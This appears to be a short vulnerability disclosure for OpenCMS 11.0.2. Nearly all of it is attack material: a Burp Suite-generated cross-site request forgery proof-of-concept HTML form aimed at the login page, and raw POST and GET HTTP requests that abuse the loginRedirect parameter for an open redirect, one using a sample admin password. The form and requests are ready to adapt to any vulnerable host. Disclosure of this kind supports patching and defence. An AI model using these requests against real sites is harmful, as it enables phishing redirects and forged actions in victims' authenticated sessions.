OpenCMS version 11.0.2 suffers from cross site request forgery and open redirection vulnerabilities.
ea6c81906090ef0dbb9bc833d8237fc4
OpenCMS v11.0.2
--------------------------------------------------------------------------------------------------------------------------------------------------
CSRF - Login page vulnerable (https://vulnerablehost.com/system/login - CSRF needs valid JSESSIONID to work, maybe logged Admin user)
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://vulnerablehost.com/system/login" method="POST">
<input type="hidden" name="ocUname" value="anything" />
<input type="hidden" name="ocPword" value="anything" />
<input type="hidden" name="loginRedirect" value="https://google.com" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
--------------------------------------------------------------------------------------------------------------------------------------------------
Open Redirect (POST method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user)
POST /system/login HTTP/1.1
Host: vulnerablehost.com
Connection: close
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://vulnerablehost.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://vulnerablehost.com/system/login
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID_opencms=valid JSESSIONID authenticated cookie
ocUname=Admin&ocPword=admin123&loginRedirect=https://google.com
--------------------------------------------------------------------------------------------------------------------------------------------------
Open Redirect GET method - Open Redirect needs valid JSESSIONID to work, maybe logged Admin user)
GET /system/login?loginRedirect=https://google.com HTTP/1.1
Host: vulnerablehost.com
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://vulnerablehost.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://vulnerablehost.com/system/login
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=Valid JSESSIONID authenticated cookie